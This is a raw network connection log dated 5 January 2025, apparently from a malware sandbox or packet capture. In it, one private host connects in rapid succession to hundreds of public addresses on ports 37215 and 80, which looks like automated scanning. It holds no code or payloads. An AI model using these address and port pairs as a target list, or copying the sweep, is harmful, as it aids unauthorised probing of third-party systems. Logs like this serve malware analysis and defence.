Jan 5, 2025 14:34:55.093626976 CET	29479	37215	192.168.2.13	41.208.108.134
Jan 5, 2025 14:34:55.093626022 CET	29479	37215	192.168.2.13	41.230.11.21
Jan 5, 2025 14:34:55.093626976 CET	29479	37215	192.168.2.13	41.56.2.160
Jan 5, 2025 14:34:55.093628883 CET	29477	80	192.168.2.13	146.117.255.85
Jan 5, 2025 14:34:55.093626022 CET	29479	37215	192.168.2.13	156.78.121.123
Jan 5, 2025 14:34:55.093625069 CET	29477	80	192.168.2.13	88.56.25.48
Jan 5, 2025 14:34:55.093628883 CET	29477	80	192.168.2.13	133.128.240.160
Jan 5, 2025 14:34:55.093625069 CET	29479	37215	192.168.2.13	41.107.253.241
Jan 5, 2025 14:34:55.093628883 CET	29477	80	192.168.2.13	184.205.110.179
Jan 5, 2025 14:34:55.093626022 CET	29477	80	192.168.2.13	63.110.221.241
Jan 5, 2025 14:34:55.093625069 CET	29479	37215	192.168.2.13	41.47.90.115
Jan 5, 2025 14:34:55.093628883 CET	29477	80	192.168.2.13	167.227.251.204
Jan 5, 2025 14:34:55.093625069 CET	29479	37215	192.168.2.13	156.40.86.210
Jan 5, 2025 14:34:55.093642950 CET	29479	37215	192.168.2.13	41.181.198.84
Jan 5, 2025 14:34:55.093642950 CET	29477	80	192.168.2.13	64.15.212.118
Jan 5, 2025 14:34:55.093646049 CET	29477	80	192.168.2.13	115.40.23.109
Jan 5, 2025 14:34:55.093646049 CET	29477	80	192.168.2.13	216.213.41.128
Jan 5, 2025 14:34:55.093646049 CET	29477	80	192.168.2.13	223.132.4.215
Jan 5, 2025 14:34:55.093663931 CET	29477	80	192.168.2.13	192.43.240.212
Jan 5, 2025 14:34:55.093663931 CET	29477	80	192.168.2.13	147.130.16.24
Jan 5, 2025 14:34:55.093663931 CET	29479	37215	192.168.2.13	41.172.131.230
Jan 5, 2025 14:34:55.093663931 CET	29479	37215	192.168.2.13	41.199.207.220
Jan 5, 2025 14:34:55.093664885 CET	29479	37215	192.168.2.13	41.43.128.50
Jan 5, 2025 14:34:55.093666077 CET	29479	37215	192.168.2.13	41.24.69.97
Jan 5, 2025 14:34:55.093666077 CET	29477	80	192.168.2.13	108.114.199.232
Jan 5, 2025 14:34:55.093667030 CET	29477	80	192.168.2.13	101.195.122.73
Jan 5, 2025 14:34:55.093663931 CET	29477	80	192.168.2.13	59.132.214.135
Jan 5, 2025 14:34:55.093666077 CET	29479	37215	192.168.2.13	41.139.101.115
Jan 5, 2025 14:34:55.093666077 CET	29479	37215	192.168.2.13	197.252.125.250
Jan 5, 2025 14:34:55.093664885 CET	29477	80	192.168.2.13	116.98.155.172
Jan 5, 2025 14:34:55.093666077 CET	29479	37215	192.168.2.13	197.167.86.16
Jan 5, 2025 14:34:55.093669891 CET	29479	37215	192.168.2.13	41.18.101.118
Jan 5, 2025 14:34:55.093663931 CET	29479	37215	192.168.2.13	41.13.232.39
Jan 5, 2025 14:34:55.093664885 CET	29479	37215	192.168.2.13	156.159.112.29
Jan 5, 2025 14:34:55.093663931 CET	29477	80	192.168.2.13	219.142.182.211
Jan 5, 2025 14:34:55.093667030 CET	29477	80	192.168.2.13	128.83.78.177
Jan 5, 2025 14:34:55.093664885 CET	29477	80	192.168.2.13	185.5.38.219
Jan 5, 2025 14:34:55.093667030 CET	29479	37215	192.168.2.13	41.148.243.199
Jan 5, 2025 14:34:55.093664885 CET	29477	80	192.168.2.13	129.56.80.58
Jan 5, 2025 14:34:55.093667984 CET	29477	80	192.168.2.13	169.197.173.199
Jan 5, 2025 14:34:55.093663931 CET	29479	37215	192.168.2.13	197.174.247.51
Jan 5, 2025 14:34:55.093666077 CET	29477	80	192.168.2.13	5.189.43.190
Jan 5, 2025 14:34:55.093664885 CET	29479	37215	192.168.2.13	156.104.51.199
Jan 5, 2025 14:34:55.093667984 CET	29479	37215	192.168.2.13	156.129.61.104
Jan 5, 2025 14:34:55.093694925 CET	29479	37215	192.168.2.13	41.197.52.133
Jan 5, 2025 14:34:55.093694925 CET	29479	37215	192.168.2.13	156.97.88.203
Jan 5, 2025 14:34:55.093694925 CET	29477	80	192.168.2.13	191.160.72.188
Jan 5, 2025 14:34:55.093694925 CET	29479	37215	192.168.2.13	197.99.218.19
Jan 5, 2025 14:34:55.093694925 CET	29477	80	192.168.2.13	54.29.207.38
Jan 5, 2025 14:34:55.093704939 CET	29479	37215	192.168.2.13	41.41.128.61
Jan 5, 2025 14:34:55.093703985 CET	29477	80	192.168.2.13	88.69.144.87
Jan 5, 2025 14:34:55.093704939 CET	29477	80	192.168.2.13	83.128.134.9
Jan 5, 2025 14:34:55.093707085 CET	29479	37215	192.168.2.13	197.204.54.173
Jan 5, 2025 14:34:55.093707085 CET	29479	37215	192.168.2.13	41.77.94.205
Jan 5, 2025 14:34:55.093708038 CET	29479	37215	192.168.2.13	41.125.181.174
Jan 5, 2025 14:34:55.093708038 CET	29477	80	192.168.2.13	199.209.167.237
Jan 5, 2025 14:34:55.093708038 CET	29479	37215	192.168.2.13	197.190.125.233
Jan 5, 2025 14:34:55.093708992 CET	29477	80	192.168.2.13	196.22.141.124
Jan 5, 2025 14:34:55.093703985 CET	29477	80	192.168.2.13	90.10.73.160
Jan 5, 2025 14:34:55.093708038 CET	29477	80	192.168.2.13	195.106.92.218
Jan 5, 2025 14:34:55.093708038 CET	29477	80	192.168.2.13	34.100.119.176
Jan 5, 2025 14:34:55.093708038 CET	29479	37215	192.168.2.13	197.243.224.143
Jan 5, 2025 14:34:55.093708038 CET	29477	80	192.168.2.13	209.30.33.30
Jan 5, 2025 14:34:55.093708038 CET	29479	37215	192.168.2.13	156.197.70.247
Jan 5, 2025 14:34:55.093707085 CET	29477	80	192.168.2.13	210.183.23.37
Jan 5, 2025 14:34:55.093704939 CET	29479	37215	192.168.2.13	41.198.133.32
Jan 5, 2025 14:34:55.093708038 CET	29479	37215	192.168.2.13	197.255.20.37
Jan 5, 2025 14:34:55.093703985 CET	29479	37215	192.168.2.13	41.8.76.96
Jan 5, 2025 14:34:55.093707085 CET	29477	80	192.168.2.13	100.161.174.126
Jan 5, 2025 14:34:55.093707085 CET	29479	37215	192.168.2.13	41.138.78.245
Jan 5, 2025 14:34:55.093707085 CET	29479	37215	192.168.2.13	156.115.117.213
Jan 5, 2025 14:34:55.093707085 CET	29477	80	192.168.2.13	90.202.255.31
Jan 5, 2025 14:34:55.093707085 CET	29477	80	192.168.2.13	192.132.41.53
Jan 5, 2025 14:34:55.093707085 CET	29479	37215	192.168.2.13	41.165.197.56
Jan 5, 2025 14:34:55.093707085 CET	29479	37215	192.168.2.13	41.179.26.193
Jan 5, 2025 14:34:55.093739986 CET	29479	37215	192.168.2.13	197.238.99.122
Jan 5, 2025 14:34:55.093739986 CET	29479	37215	192.168.2.13	197.42.169.27
Jan 5, 2025 14:34:55.093739986 CET	29479	37215	192.168.2.13	156.66.42.67
Jan 5, 2025 14:34:55.093739986 CET	29477	80	192.168.2.13	168.107.140.101
Jan 5, 2025 14:34:55.093739986 CET	29479	37215	192.168.2.13	197.76.219.42
Jan 5, 2025 14:34:55.093740940 CET	29477	80	192.168.2.13	94.67.208.141
Jan 5, 2025 14:34:55.093741894 CET	29479	37215	192.168.2.13	41.210.120.162
Jan 5, 2025 14:34:55.093739986 CET	29477	80	192.168.2.13	126.36.83.38
Jan 5, 2025 14:34:55.093740940 CET	29477	80	192.168.2.13	34.148.145.36
Jan 5, 2025 14:34:55.093739986 CET	29477	80	192.168.2.13	23.74.107.231
Jan 5, 2025 14:34:55.093739986 CET	29479	37215	192.168.2.13	197.8.117.125
Jan 5, 2025 14:34:55.093741894 CET	29477	80	192.168.2.13	23.226.158.23
Jan 5, 2025 14:34:55.093745947 CET	29479	37215	192.168.2.13	156.64.94.112
Jan 5, 2025 14:34:55.093741894 CET	29477	80	192.168.2.13	135.221.129.112
Jan 5, 2025 14:34:55.093740940 CET	29479	37215	192.168.2.13	156.0.152.99
Jan 5, 2025 14:34:55.093741894 CET	29479	37215	192.168.2.13	41.37.207.167
Jan 5, 2025 14:34:55.093739986 CET	29479	37215	192.168.2.13	156.216.76.206
Jan 5, 2025 14:34:55.093739986 CET	29477	80	192.168.2.13	80.67.209.106
Jan 5, 2025 14:34:55.093751907 CET	29477	80	192.168.2.13	135.171.41.0
Jan 5, 2025 14:34:55.093745947 CET	29479	37215	192.168.2.13	197.45.169.111
Jan 5, 2025 14:34:55.093750954 CET	29477	80	192.168.2.13	114.98.93.91
Jan 5, 2025 14:34:55.093740940 CET	29477	80	192.168.2.13	12.175.164.182
Jan 5, 2025 14:34:55.093745947 CET	29477	80	192.168.2.13	58.195.145.37
Jan 5, 2025 14:34:55.093739986 CET	29479	37215	192.168.2.13	41.183.8.168
Jan 5, 2025 14:34:55.093750954 CET	29479	37215	192.168.2.13	197.80.144.36
Jan 5, 2025 14:34:55.093751907 CET	29479	37215	192.168.2.13	197.174.43.94
Jan 5, 2025 14:34:55.093750954 CET	29477	80	192.168.2.13	84.136.130.109
Jan 5, 2025 14:34:55.093750954 CET	29477	80	192.168.2.13	39.14.150.191
Jan 5, 2025 14:34:55.093750954 CET	29477	80	192.168.2.13	144.170.198.130
Jan 5, 2025 14:34:55.093750954 CET	29479	37215	192.168.2.13	197.58.157.89
Jan 5, 2025 14:34:55.093750954 CET	29479	37215	192.168.2.13	197.127.28.227
Jan 5, 2025 14:34:55.093775034 CET	29479	37215	192.168.2.13	41.18.59.219
Jan 5, 2025 14:34:55.093775034 CET	29479	37215	192.168.2.13	197.64.86.55
Jan 5, 2025 14:34:55.093775034 CET	29477	80	192.168.2.13	189.220.215.76
Jan 5, 2025 14:34:55.093799114 CET	29477	80	192.168.2.13	210.1.47.141
Jan 5, 2025 14:34:55.093799114 CET	29477	80	192.168.2.13	45.208.139.218
Jan 5, 2025 14:34:55.093799114 CET	29479	37215	192.168.2.13	41.227.121.117
Jan 5, 2025 14:34:55.093801022 CET	29479	37215	192.168.2.13	41.77.162.52
Jan 5, 2025 14:34:55.093800068 CET	29477	80	192.168.2.13	172.63.206.101
Jan 5, 2025 14:34:55.093801022 CET	29479	37215	192.168.2.13	41.172.53.227
Jan 5, 2025 14:34:55.093799114 CET	29479	37215	192.168.2.13	41.159.25.82
Jan 5, 2025 14:34:55.093801022 CET	29479	37215	192.168.2.13	156.13.227.13
Jan 5, 2025 14:34:55.093799114 CET	29477	80	192.168.2.13	139.12.208.35
Jan 5, 2025 14:34:55.093801022 CET	29477	80	192.168.2.13	155.165.35.66
Jan 5, 2025 14:34:55.093799114 CET	29479	37215	192.168.2.13	197.220.202.253
Jan 5, 2025 14:34:55.093800068 CET	29477	80	192.168.2.13	196.106.205.187
Jan 5, 2025 14:34:55.093801022 CET	29477	80	192.168.2.13	18.64.51.211
Jan 5, 2025 14:34:55.093799114 CET	29479	37215	192.168.2.13	41.193.241.16
Jan 5, 2025 14:34:55.093806028 CET	29477	80	192.168.2.13	197.57.141.230
Jan 5, 2025 14:34:55.093801022 CET	29479	37215	192.168.2.13	41.63.90.249
Jan 5, 2025 14:34:55.093799114 CET	29479	37215	192.168.2.13	41.122.11.255
Jan 5, 2025 14:34:55.093801022 CET	29479	37215	192.168.2.13	41.230.62.153
Jan 5, 2025 14:34:55.093802929 CET	29479	37215	192.168.2.13	41.239.76.230
Jan 5, 2025 14:34:55.093799114 CET	29477	80	192.168.2.13	69.196.84.45
Jan 5, 2025 14:34:55.093801022 CET	29477	80	192.168.2.13	162.36.154.185
Jan 5, 2025 14:34:55.093810081 CET	29477	80	192.168.2.13	140.188.8.129
Jan 5, 2025 14:34:55.093806028 CET	29477	80	192.168.2.13	216.120.34.122
Jan 5, 2025 14:34:55.093805075 CET	29477	80	192.168.2.13	216.85.238.148
Jan 5, 2025 14:34:55.093799114 CET	29477	80	192.168.2.13	210.237.34.141
Jan 5, 2025 14:34:55.093805075 CET	29479	37215	192.168.2.13	41.249.38.171
Jan 5, 2025 14:34:55.093802929 CET	29477	80	192.168.2.13	141.128.59.75
Jan 5, 2025 14:34:55.093805075 CET	29477	80	192.168.2.13	148.4.177.29
Jan 5, 2025 14:34:55.093811035 CET	29479	37215	192.168.2.13	41.223.196.103
Jan 5, 2025 14:34:55.093801022 CET	29479	37215	192.168.2.13	156.58.161.56
Jan 5, 2025 14:34:55.093802929 CET	29477	80	192.168.2.13	41.222.13.4
Jan 5, 2025 14:34:55.093801022 CET	29477	80	192.168.2.13	87.123.253.131
Jan 5, 2025 14:34:55.093806028 CET	29479	37215	192.168.2.13	156.28.238.167
Jan 5, 2025 14:34:55.093811035 CET	29477	80	192.168.2.13	93.33.104.135
Jan 5, 2025 14:34:55.093805075 CET	29477	80	192.168.2.13	49.97.102.183
Jan 5, 2025 14:34:55.093811035 CET	29479	37215	192.168.2.13	156.16.64.215
Jan 5, 2025 14:34:55.093805075 CET	29479	37215	192.168.2.13	156.185.6.96
Jan 5, 2025 14:34:55.093811035 CET	29477	80	192.168.2.13	94.250.202.125
Jan 5, 2025 14:34:55.093801022 CET	29477	80	192.168.2.13	160.84.190.52
Jan 5, 2025 14:34:55.093811035 CET	29477	80	192.168.2.13	50.110.126.55
Jan 5, 2025 14:34:55.093801022 CET	29477	80	192.168.2.13	45.238.138.164
Jan 5, 2025 14:34:55.093811035 CET	29477	80	192.168.2.13	58.249.83.121
Jan 5, 2025 14:34:55.093828917 CET	29479	37215	192.168.2.13	197.224.36.40
Jan 5, 2025 14:34:55.093811035 CET	29477	80	192.168.2.13	173.241.146.151
Jan 5, 2025 14:34:55.093837023 CET	29479	37215	192.168.2.13	41.191.98.185
Jan 5, 2025 14:34:55.093839884 CET	29477	80	192.168.2.13	190.37.106.9
Jan 5, 2025 14:34:55.093839884 CET	29479	37215	192.168.2.13	197.105.185.230
Jan 5, 2025 14:34:55.093839884 CET	29479	37215	192.168.2.13	41.196.135.163
Jan 5, 2025 14:34:55.093839884 CET	29477	80	192.168.2.13	43.13.49.153
Jan 5, 2025 14:34:55.093839884 CET	29479	37215	192.168.2.13	197.3.149.203
Jan 5, 2025 14:34:55.093839884 CET	29477	80	192.168.2.13	220.170.167.221
Jan 5, 2025 14:34:55.093854904 CET	29477	80	192.168.2.13	38.253.33.160
Jan 5, 2025 14:34:55.093854904 CET	29479	37215	192.168.2.13	197.139.8.19
Jan 5, 2025 14:34:55.093854904 CET	29479	37215	192.168.2.13	197.84.118.128
Jan 5, 2025 14:34:55.093854904 CET	29477	80	192.168.2.13	67.148.219.83
Jan 5, 2025 14:34:55.093854904 CET	29477	80	192.168.2.13	185.156.225.27
Jan 5, 2025 14:34:55.093858004 CET	29477	80	192.168.2.13	81.133.157.83
Jan 5, 2025 14:34:55.093858004 CET	29479	37215	192.168.2.13	41.29.92.239
Jan 5, 2025 14:34:55.093858004 CET	29477	80	192.168.2.13	1.63.75.147
Jan 5, 2025 14:34:55.093858004 CET	29479	37215	192.168.2.13	41.13.137.100
Jan 5, 2025 14:34:55.093858957 CET	29477	80	192.168.2.13	136.72.129.30
Jan 5, 2025 14:34:55.093858004 CET	29477	80	192.168.2.13	73.91.141.1
Jan 5, 2025 14:34:55.093859911 CET	29477	80	192.168.2.13	163.166.6.237
Jan 5, 2025 14:34:55.093858957 CET	29479	37215	192.168.2.13	156.140.24.119
Jan 5, 2025 14:34:55.093859911 CET	29479	37215	192.168.2.13	156.208.236.197
Jan 5, 2025 14:34:55.093858957 CET	29479	37215	192.168.2.13	197.63.191.94
Jan 5, 2025 14:34:55.093861103 CET	29477	80	192.168.2.13	107.93.126.92
Jan 5, 2025 14:34:55.093858957 CET	29477	80	192.168.2.13	129.161.16.123
Jan 5, 2025 14:34:55.093859911 CET	29479	37215	192.168.2.13	156.116.143.166
Jan 5, 2025 14:34:55.093861103 CET	29479	37215	192.168.2.13	197.169.135.165
Jan 5, 2025 14:34:55.093861103 CET	29479	37215	192.168.2.13	156.9.64.99
Jan 5, 2025 14:34:55.093861103 CET	29477	80	192.168.2.13	144.40.186.94
Jan 5, 2025 14:34:55.093861103 CET	29477	80	192.168.2.13	2.234.242.43
Jan 5, 2025 14:34:55.093864918 CET	29479	37215	192.168.2.13	156.81.75.230
Jan 5, 2025 14:34:55.093861103 CET	29477	80	192.168.2.13	40.204.199.208
Jan 5, 2025 14:34:55.093864918 CET	29477	80	192.168.2.13	177.82.179.80
Jan 5, 2025 14:34:55.093861103 CET	29477	80	192.168.2.13	178.198.16.59
Jan 5, 2025 14:34:55.093864918 CET	29479	37215	192.168.2.13	197.121.95.153
Jan 5, 2025 14:34:55.093864918 CET	29477	80	192.168.2.13	197.4.55.148
Jan 5, 2025 14:34:55.093868971 CET	29479	37215	192.168.2.13	41.152.154.9
Jan 5, 2025 14:34:55.093869925 CET	29477	80	192.168.2.13	43.238.99.152
Jan 5, 2025 14:34:55.093869925 CET	29479	37215	192.168.2.13	156.152.243.129
Jan 5, 2025 14:34:55.093869925 CET	29479	37215	192.168.2.13	197.20.153.93
Jan 5, 2025 14:34:55.093869925 CET	29477	80	192.168.2.13	106.54.1.1
Jan 5, 2025 14:34:55.093869925 CET	29477	80	192.168.2.13	167.183.85.19
Jan 5, 2025 14:34:55.093869925 CET	29477	80	192.168.2.13	2.71.180.37
Jan 5, 2025 14:34:55.093869925 CET	29477	80	192.168.2.13	124.84.219.251
Jan 5, 2025 14:34:55.093869925 CET	29479	37215	192.168.2.13	156.222.84.82
Jan 5, 2025 14:34:55.093880892 CET	29477	80	192.168.2.13	38.167.243.211
Jan 5, 2025 14:34:55.093895912 CET	29477	80	192.168.2.13	46.226.205.64
Jan 5, 2025 14:34:55.093916893 CET	29479	37215	192.168.2.13	197.115.141.115
Jan 5, 2025 14:34:55.093916893 CET	29479	37215	192.168.2.13	197.124.161.52
Jan 5, 2025 14:34:55.093918085 CET	29479	37215	192.168.2.13	41.95.38.185
Jan 5, 2025 14:34:55.093916893 CET	29477	80	192.168.2.13	209.140.177.250
Jan 5, 2025 14:34:55.093918085 CET	29477	80	192.168.2.13	166.96.143.153
Jan 5, 2025 14:34:55.093919992 CET	29479	37215	192.168.2.13	41.219.45.22
Jan 5, 2025 14:34:55.093919992 CET	29479	37215	192.168.2.13	156.37.45.254
Jan 5, 2025 14:34:55.093919992 CET	29477	80	192.168.2.13	32.234.23.29
Jan 5, 2025 14:34:55.093916893 CET	29477	80	192.168.2.13	204.98.224.255
Jan 5, 2025 14:34:55.093918085 CET	29477	80	192.168.2.13	146.202.72.161
Jan 5, 2025 14:34:55.093916893 CET	29477	80	192.168.2.13	38.196.168.38
Jan 5, 2025 14:34:55.093923092 CET	29479	37215	192.168.2.13	156.158.92.252
Jan 5, 2025 14:34:55.093919992 CET	29479	37215	192.168.2.13	156.21.37.183
Jan 5, 2025 14:34:55.093916893 CET	29477	80	192.168.2.13	201.235.28.202
Jan 5, 2025 14:34:55.093919992 CET	29477	80	192.168.2.13	65.119.130.131
Jan 5, 2025 14:34:55.093923092 CET	29477	80	192.168.2.13	180.1.254.251
Jan 5, 2025 14:34:55.093920946 CET	29477	80	192.168.2.13	89.169.177.55
Jan 5, 2025 14:34:55.093919992 CET	29477	80	192.168.2.13	199.94.109.129
Jan 5, 2025 14:34:55.093923092 CET	29479	37215	192.168.2.13	197.208.51.196
Jan 5, 2025 14:34:55.093924046 CET	29479	37215	192.168.2.13	197.246.255.62
Jan 5, 2025 14:34:55.093920946 CET	29479	37215	192.168.2.13	41.89.18.199
Jan 5, 2025 14:34:55.093919992 CET	29479	37215	192.168.2.13	197.173.70.134
Jan 5, 2025 14:34:55.093921900 CET	29477	80	192.168.2.13	209.52.106.231
Jan 5, 2025 14:34:55.093918085 CET	29477	80	192.168.2.13	62.36.228.93
Jan 5, 2025 14:34:55.093919992 CET	29477	80	192.168.2.13	153.226.234.39
Jan 5, 2025 14:34:55.093923092 CET	29479	37215	192.168.2.13	41.13.50.238
Jan 5, 2025 14:34:55.093919992 CET	29479	37215	192.168.2.13	41.8.205.66
Jan 5, 2025 14:34:55.093919992 CET	29477	80	192.168.2.13	82.35.140.19
Jan 5, 2025 14:34:55.093924046 CET	29479	37215	192.168.2.13	41.189.233.109
Jan 5, 2025 14:34:55.093921900 CET	29479	37215	192.168.2.13	41.108.58.99
Jan 5, 2025 14:34:55.093919992 CET	29479	37215	192.168.2.13	41.234.201.251
Jan 5, 2025 14:34:55.093924046 CET	29479	37215	192.168.2.13	41.31.219.24
Jan 5, 2025 14:34:55.093919992 CET	29479	37215	192.168.2.13	41.141.165.5
Jan 5, 2025 14:34:55.093924046 CET	29479	37215	192.168.2.13	156.112.67.230
Jan 5, 2025 14:34:55.093923092 CET	29477	80	192.168.2.13	84.69.11.226
Jan 5, 2025 14:34:55.093920946 CET	29479	37215	192.168.2.13	156.179.146.97
Jan 5, 2025 14:34:55.093921900 CET	29477	80	192.168.2.13	94.51.168.214
Jan 5, 2025 14:34:55.093923092 CET	29479	37215	192.168.2.13	197.218.12.6
Jan 5, 2025 14:34:55.093924046 CET	29477	80	192.168.2.13	198.217.240.217
Jan 5, 2025 14:34:55.093921900 CET	29479	37215	192.168.2.13	156.94.100.152
Jan 5, 2025 14:34:55.093923092 CET	29477	80	192.168.2.13	163.91.79.199
Jan 5, 2025 14:34:55.093924046 CET	29477	80	192.168.2.13	107.175.125.66
Jan 5, 2025 14:34:55.093923092 CET	29477	80	192.168.2.13	113.65.95.173
Jan 5, 2025 14:34:55.093921900 CET	29479	37215	192.168.2.13	41.87.74.83
Jan 5, 2025 14:34:55.093924046 CET	29477	80	192.168.2.13	117.204.68.254
Jan 5, 2025 14:34:55.093921900 CET	29479	37215	192.168.2.13	41.197.236.118
Jan 5, 2025 14:34:55.093946934 CET	29477	80	192.168.2.13	223.154.0.84
Jan 5, 2025 14:34:55.093924046 CET	29479	37215	192.168.2.13	41.250.119.8
Jan 5, 2025 14:34:55.093946934 CET	29479	37215	192.168.2.13	41.81.75.164
Jan 5, 2025 14:34:55.093920946 CET	29477	80	192.168.2.13	140.82.222.167
Jan 5, 2025 14:34:55.093946934 CET	29477	80	192.168.2.13	68.231.212.127
Jan 5, 2025 14:34:55.093946934 CET	29477	80	192.168.2.13	146.91.251.8
Jan 5, 2025 14:34:55.093946934 CET	29479	37215	192.168.2.13	156.220.87.112
Jan 5, 2025 14:34:55.093946934 CET	29479	37215	192.168.2.13	41.122.189.159
Jan 5, 2025 14:34:55.093946934 CET	29477	80	192.168.2.13	152.21.17.158
Jan 5, 2025 14:34:55.093957901 CET	29479	37215	192.168.2.13	41.25.230.221
Jan 5, 2025 14:34:55.093957901 CET	29479	37215	192.168.2.13	156.25.175.114
Jan 5, 2025 14:34:55.093959093 CET	29479	37215	192.168.2.13	156.53.233.68
Jan 5, 2025 14:34:55.093957901 CET	29477	80	192.168.2.13	99.148.116.7
Jan 5, 2025 14:34:55.093957901 CET	29479	37215	192.168.2.13	197.99.235.49
Jan 5, 2025 14:34:55.093957901 CET	29477	80	192.168.2.13	187.223.87.191
Jan 5, 2025 14:34:55.093957901 CET	29477	80	192.168.2.13	130.1.116.89
Jan 5, 2025 14:34:55.093957901 CET	29479	37215	192.168.2.13	197.110.44.219
Jan 5, 2025 14:34:55.093957901 CET	29477	80	192.168.2.13	155.44.245.115
Jan 5, 2025 14:34:55.093961954 CET	29477	80	192.168.2.13	19.116.178.15
Jan 5, 2025 14:34:55.093962908 CET	29479	37215	192.168.2.13	197.114.52.81
Jan 5, 2025 14:34:55.093961954 CET	29477	80	192.168.2.13	180.46.206.44
Jan 5, 2025 14:34:55.093962908 CET	29477	80	192.168.2.13	93.126.30.90
Jan 5, 2025 14:34:55.093961954 CET	29477	80	192.168.2.13	39.135.29.254
Jan 5, 2025 14:34:55.093965054 CET	29477	80	192.168.2.13	191.108.97.37
Jan 5, 2025 14:34:55.093966007 CET	29479	37215	192.168.2.13	197.4.244.236
Jan 5, 2025 14:34:55.093961954 CET	29479	37215	192.168.2.13	156.161.147.60
Jan 5, 2025 14:34:55.093965054 CET	29477	80	192.168.2.13	140.188.109.219
Jan 5, 2025 14:34:55.093962908 CET	29479	37215	192.168.2.13	41.239.112.133
Jan 5, 2025 14:34:55.093965054 CET	29477	80	192.168.2.13	8.88.132.17
Jan 5, 2025 14:34:55.093962908 CET	29479	37215	192.168.2.13	41.109.224.223
Jan 5, 2025 14:34:55.093971014 CET	29477	80	192.168.2.13	83.136.14.127
Jan 5, 2025 14:34:55.093969107 CET	29477	80	192.168.2.13	25.142.133.232
Jan 5, 2025 14:34:55.093962908 CET	29477	80	192.168.2.13	66.225.154.121
Jan 5, 2025 14:34:55.093965054 CET	29477	80	192.168.2.13	85.150.3.33
Jan 5, 2025 14:34:55.093971014 CET	29479	37215	192.168.2.13	197.11.157.226
Jan 5, 2025 14:34:55.093965054 CET	29477	80	192.168.2.13	17.158.186.144
Jan 5, 2025 14:34:55.093971014 CET	29477	80	192.168.2.13	156.55.71.89
Jan 5, 2025 14:34:55.093965054 CET	29477	80	192.168.2.13	139.206.26.15
Jan 5, 2025 14:34:55.093962908 CET	29479	37215	192.168.2.13	197.159.222.34
Jan 5, 2025 14:34:55.093971968 CET	29479	37215	192.168.2.13	41.148.84.63
Jan 5, 2025 14:34:55.093962908 CET	29477	80	192.168.2.13	1.158.3.115
Jan 5, 2025 14:34:55.093971968 CET	29479	37215	192.168.2.13	197.14.204.226
Jan 5, 2025 14:34:55.093961954 CET	29477	80	192.168.2.13	155.64.78.163
Jan 5, 2025 14:34:55.093962908 CET	29477	80	192.168.2.13	162.115.207.166
Jan 5, 2025 14:34:55.093971968 CET	29479	37215	192.168.2.13	197.74.21.118
Jan 5, 2025 14:34:55.093961954 CET	29479	37215	192.168.2.13	41.174.166.98
Jan 5, 2025 14:34:55.093971968 CET	29477	80	192.168.2.13	219.156.120.249
Jan 5, 2025 14:34:55.093961954 CET	29479	37215	192.168.2.13	156.141.93.2
Jan 5, 2025 14:34:55.093971968 CET	29477	80	192.168.2.13	207.163.180.27
Jan 5, 2025 14:34:55.093961954 CET	29479	37215	192.168.2.13	197.12.103.207
Jan 5, 2025 14:34:55.093971968 CET	29479	37215	192.168.2.13	156.43.22.50
Jan 5, 2025 14:34:55.093971968 CET	29479	37215	192.168.2.13	41.150.85.233
Jan 5, 2025 14:34:55.093987942 CET	29477	80	192.168.2.13	83.130.40.24
Jan 5, 2025 14:34:55.093993902 CET	29477	80	192.168.2.13	110.179.194.62
Jan 5, 2025 14:34:55.093993902 CET	29477	80	192.168.2.13	75.95.252.138
Jan 5, 2025 14:34:55.093996048 CET	29479	37215	192.168.2.13	156.161.103.28
Jan 5, 2025 14:34:55.093996048 CET	29477	80	192.168.2.13	96.141.177.226
Jan 5, 2025 14:34:55.093996048 CET	29477	80	192.168.2.13	114.39.78.133
Jan 5, 2025 14:34:55.093996048 CET	29479	37215	192.168.2.13	41.116.164.119
Jan 5, 2025 14:34:55.093996048 CET	29477	80	192.168.2.13	198.75.7.192
Jan 5, 2025 14:34:55.093996048 CET	29477	80	192.168.2.13	216.220.165.232
Jan 5, 2025 14:34:55.093996048 CET	29479	37215	192.168.2.13	156.185.128.130
Jan 5, 2025 14:34:55.094000101 CET	29479	37215	192.168.2.13	197.86.136.77
Jan 5, 2025 14:34:55.094000101 CET	29479	37215	192.168.2.13	197.102.186.238
Jan 5, 2025 14:34:55.094002008 CET	29479	37215	192.168.2.13	41.168.140.156
Jan 5, 2025 14:34:55.094002008 CET	29479	37215	192.168.2.13	41.223.0.234
Jan 5, 2025 14:34:55.094002008 CET	29477	80	192.168.2.13	83.0.125.144
Jan 5, 2025 14:34:55.094002008 CET	29477	80	192.168.2.13	120.209.206.227
Jan 5, 2025 14:34:55.094002008 CET	29479	37215	192.168.2.13	41.230.10.135
Jan 5, 2025 14:34:55.094002008 CET	29479	37215	192.168.2.13	41.231.208.188
Jan 5, 2025 14:34:55.094007969 CET	29477	80	192.168.2.13	95.50.201.161
Jan 5, 2025 14:34:55.094007969 CET	29479	37215	192.168.2.13	41.130.221.199
Jan 5, 2025 14:34:55.094008923 CET	29479	37215	192.168.2.13	156.191.0.42
Jan 5, 2025 14:34:55.094008923 CET	29479	37215	192.168.2.13	197.148.254.29
Jan 5, 2025 14:34:55.094008923 CET	29477	80	192.168.2.13	88.59.221.56
Jan 5, 2025 14:34:55.094008923 CET	29479	37215	192.168.2.13	156.212.235.81
Jan 5, 2025 14:34:55.094007969 CET	29479	37215	192.168.2.13	197.220.0.78
Jan 5, 2025 14:34:55.094007969 CET	29477	80	192.168.2.13	125.131.13.245
Jan 5, 2025 14:34:55.094017029 CET	29477	80	192.168.2.13	24.109.9.47
Jan 5, 2025 14:34:55.094017029 CET	29477	80	192.168.2.13	20.135.10.42
Jan 5, 2025 14:34:55.094017029 CET	29479	37215	192.168.2.13	197.13.14.216
Jan 5, 2025 14:34:55.094017029 CET	29479	37215	192.168.2.13	197.60.94.192
Jan 5, 2025 14:34:55.094017982 CET	29479	37215	192.168.2.13	197.170.129.128
Jan 5, 2025 14:34:55.094017029 CET	29477	80	192.168.2.13	194.150.234.68
Jan 5, 2025 14:34:55.094017982 CET	29477	80	192.168.2.13	221.36.246.15
Jan 5, 2025 14:34:55.094017029 CET	29479	37215	192.168.2.13	156.224.196.253
Jan 5, 2025 14:34:55.094017029 CET	29477	80	192.168.2.13	218.7.120.198
Jan 5, 2025 14:34:55.094021082 CET	29477	80	192.168.2.13	74.183.133.155
Jan 5, 2025 14:34:55.094017029 CET	29477	80	192.168.2.13	8.80.235.185
Jan 5, 2025 14:34:55.094021082 CET	29477	80	192.168.2.13	151.180.210.155
Jan 5, 2025 14:34:55.094021082 CET	29477	80	192.168.2.13	172.105.207.108
Jan 5, 2025 14:34:55.094022036 CET	29479	37215	192.168.2.13	156.61.137.84
